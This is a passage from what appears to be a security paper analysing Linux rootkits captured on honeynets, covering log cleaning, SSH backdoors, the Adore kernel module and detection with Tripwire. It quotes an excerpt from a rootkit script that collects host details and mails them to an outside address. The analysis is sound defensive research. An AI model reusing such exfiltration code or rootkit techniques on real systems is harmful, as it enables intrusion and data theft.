14. The script then composes e-mails to several e-mail addresses with the following information: victim's IP address, hostname, machine type, logged in users (via w command), ping to Yahoo! time (a good estimate of a quality of a network connection), memory and CPU information. It even adds the port number where the backdoor SSH runs. Here is the appropriate excerpt to compose the e-mail.

```
/sbin/ifconfig -a | grep inet >> /tmp/info
hostname -f >> /tmp/info
uname -a >> /tmp/info
w >> /tmp/info
cat /proc/meminfo >> /tmp/info
ping -c 6 yahoo.com >> /tmp/info
/sbin/route -n >> /tmp/info
```

```
echo "port 2006" >> /tmp/info
cat /tmp/info | mail -s "[MyBitch2006]" roi_blabla@walla.co.il
rm -f /tmp/info
```

It does a thorough job of status reporting.

15. Near the end of the installation, the script cleans the logs from the predefined list of key words, such as yahoo.com, ssh, initd (renamed SSHD), and a long series of IP address classes favored by this particular hacker.

16. Finally, the script patches the machine's standard SSHD daemon for a hole by replacing it with the supplied SSHD version (same as used above for the backdoor access). It remains to be seen whether another backdoor in the ssh code backs up the high-port SSHD and /bin/login backdoor.

Overall, the rootkit presents a wild mix of technologies, applications and even cultures. It does a relatively thorough job of penetrating the system to the point that a full rebuilt is the most effective recovery option. Many more of the components are included but not discussed here; many of them are not even used by default.

Rk: Hidden but Not Enough

The rk kit was captured on a Linux honeynet in late 2002.

The kit appears to be a custom mix of components. Here is a list of its distinctive features, as the logic of the installation script and the composition of the kit is similar to the previous one.

```
total 69
-rw-r--r--    1 anton    None        68286 Mar 19 2002    install
-rw-r--r--    1 anton    None         1848 Mar 15 2002    rk_config
drwxr-xr-x    2 anton    None            0 Dec 16 19:07   smbfs
drwxr-xr-x    2 anton    None            0 Dec 16 19:07   ssh
drwxr-xr-x    7 anton    None            0 Dec 16 19:07   utils
```

The kit includes the binary installation file install. The typical installation script was compiled into a binary form. However, the command strings reveals most of the performed actions. The kit also includes the Adore LKM fully translated into Romanian. The installation script also announces "This RootKit is made in Romania." Adore is built on a victim system. However, if no compiler (gcc) is available, several prebuilt modules (for RedHat 7.0-7.2) are available and are tried in order. If those fail, the regular binary Trojans are deployed. Its home directory location is /var/run/radvd/hd.

The kit installs an IRC bouncer muh, a tool to reroute IRC connections to hide one's true connection origin. The kit includes an extensive list of competing rootkits to be eliminated on the system. It dwarfs even the coverage from the previous kit. One of the interesting hackers tools that the kits searches for and eliminates is a SSH local sniffer. Among the rootkit's perks is a feature that adjusts the deployment of components based on the detected Linux distribution. For

example, some file locations are used only if the system is a Debian GNU/Linux. Many Linux variants are recognized. The kit also boasts an impressive patching engine that actually goes to the RedHat FTP site and downloads updates appropriate for the victim distribution. The kit also performs system hardening, such as SUID-flag elimination from many files. As a last step, the installation script e-mails information about the system similar to above, including the files /etc/shadow and /etc/passwd.

The kit is an interesting combination of tools and seems like a well-polished intrusion solution for amateur Linux attackers.

CONCLUSION

This paper examined several common Linux rootkits. The reviewed kits do not use any of the non-public tools. Host-based integrity-checking tools, such as the latest Tripwire, can discover all of the kits. The Adore LKM makes an attempt to hide from integrity-checking software, but Tripwire uses a different system call to access the file system. Adore does not remap this system call. However, the most effective way to recover after a compromise involving these kits is a full system reinstall, as some kit components may always be missed. For example, Tripwire might not look at the cgi-bin directory, and thus it would miss one backdoor.

More advanced rootkits exist in the wild; however, those are not often captured on Internet-exposed honeypots when no special effort is made to detect advanced attackers.

END NOTES

1 Trojaned = replaced by the Trojan version that provides extra functionality beneficial to attacker
2 Script kiddy = entry-level amateur hacker, often using other people's tools without understanding their operation
3 Available at http://www.radium.ncsc.mil/tpep/library/rainbow/ and in many other places online
4 Autorooter = tool to automatically scan for vulnerable hosts and exploit them
5 Banner grab = looking at network service login banner (FTP, telnet, etc)
6 tar is a standard Unix archival tool.
7 An autorooter is a hacker tool combining a scanner with exploit module. It is used for one-step mass scanning and exploitation. Autorooters are very popular with East European script kiddies.

ABOUT THE AUTHOR

Anton Chuvakin, Ph.D., GCIA (http://www.chuvakin.org), is a senior security analyst with a major information security company. His areas of information security expertise include intrusion detection, Unix security, forensics, honeypots, etc. In his spare time, he maintains a security portal at http://www.info-secure.org.

ACKNOWLEDGEMENTS

Thanks to the following individuals for their efforts:

- Anton Chuvakin, Author, http://www.info-secure.org
- Sunil James, Manager, Vulnerability Contributor Program, iDEFENSE Inc.
- David Endler, Director, Technical Intelligence, iDEFENSE Inc.
- Mickey McCarter, Editor, Newspoint Inc.
- Catherine Beck, Editor, Newspoint Inc.